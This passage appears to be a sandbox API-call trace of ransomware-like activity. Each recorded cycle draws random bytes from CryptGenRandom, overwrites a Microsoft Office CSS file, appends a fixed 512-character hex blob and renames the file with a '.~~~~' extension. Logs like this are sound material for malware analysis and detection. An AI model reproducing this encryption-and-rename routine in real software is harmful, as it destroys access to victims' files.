	[0133.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.023] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25301335051) returned 1
	[0133.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8bacd10, dwHighDateTime=0x1d60e1e)) 
	[0133.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809c68
	[0133.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809c68 | out: hHeap=0x300000) returned 1
	[0133.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.024] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.024] GetLastError () returned 0x0
	[0133.024] GetLastError () returned 0x0
	[0133.025] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.025] GetLastError () returned 0x0
	[0133.025] GetLastError () returned 0x0
	[0133.027] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff8b2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.027] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x74e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x74e, lpOverlapped=0x0) returned 1
	[0133.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.030] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.030] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.030] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.031] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.031] CloseHandle (hObject=0x140) returned 1
	[0133.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802b40
	[0133.031] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css.~~~~")) returned 1
	[0133.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802b40 | out: hHeap=0x300000) returned 1
	[0133.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.185] GetLastError () returned 0x0
	[0133.186] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.187] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.187] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.187] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25317716308) returned 1
	[0133.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8d4fc30, dwHighDateTime=0x1d60e1e)) 
	[0133.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a0c8
	[0133.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a0c8 | out: hHeap=0x300000) returned 1
	[0133.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.188] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.188] GetLastError () returned 0x0
	[0133.188] GetLastError () returned 0x0
	[0133.188] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.188] GetLastError () returned 0x0
	[0133.188] GetLastError () returned 0x0
	[0133.191] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff09, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.191] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xf7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xf7, lpOverlapped=0x0) returned 1
	[0133.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0133.193] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.193] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.194] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.194] CloseHandle (hObject=0x140) returned 1
	[0133.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0de8
	[0133.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css.~~~~")) returned 1
	[0133.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0de8 | out: hHeap=0x300000) returned 1
	[0133.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.195] GetLastError () returned 0x0
	[0133.196] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.197] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.197] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.197] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25318719857) returned 1
	[0133.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8d4fc30, dwHighDateTime=0x1d60e1e)) 
	[0133.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a090
	[0133.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a090 | out: hHeap=0x300000) returned 1
	[0133.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.198] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.198] GetLastError () returned 0x0
	[0133.198] GetLastError () returned 0x0
	[0133.198] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.198] GetLastError () returned 0x0
	[0133.199] GetLastError () returned 0x0
	[0133.201] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffaa4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.201] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x55c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x55c, lpOverlapped=0x0) returned 1
	[0133.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0133.203] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.203] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.203] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.203] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.203] CloseHandle (hObject=0x140) returned 1
	[0133.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a70f0
	[0133.204] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css.~~~~")) returned 1
	[0133.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a70f0 | out: hHeap=0x300000) returned 1
	[0133.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.205] GetLastError () returned 0x0
	[0133.205] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.206] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.206] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.206] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25319644445) returned 1
	[0133.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8d75d90, dwHighDateTime=0x1d60e1e)) 
	[0133.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a058
	[0133.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a058 | out: hHeap=0x300000) returned 1
	[0133.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.207] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.207] GetLastError () returned 0x0
	[0133.207] GetLastError () returned 0x0
	[0133.207] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.207] GetLastError () returned 0x0
	[0133.208] GetLastError () returned 0x0
	[0133.209] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.209] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xa7, lpOverlapped=0x0) returned 1
	[0133.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0133.211] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.211] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.211] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.211] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.211] CloseHandle (hObject=0x140) returned 1
	[0133.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a71c8
	[0133.211] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css.~~~~")) returned 1
	[0133.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a71c8 | out: hHeap=0x300000) returned 1
	[0133.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.213] GetLastError () returned 0x0
	[0133.213] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.214] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.214] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.215] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25320465514) returned 1
	[0133.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8d75d90, dwHighDateTime=0x1d60e1e)) 
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a020
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a020 | out: hHeap=0x300000) returned 1
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.215] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.216] GetLastError () returned 0x0
	[0133.216] GetLastError () returned 0x0
	[0133.216] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.216] GetLastError () returned 0x0
	[0133.216] GetLastError () returned 0x0
	[0133.305] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.306] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xab, lpOverlapped=0x0) returned 1
	[0133.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0133.309] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.310] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.310] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.310] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.310] CloseHandle (hObject=0x140) returned 1
	[0133.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0133.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css.~~~~")) returned 1
	[0133.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
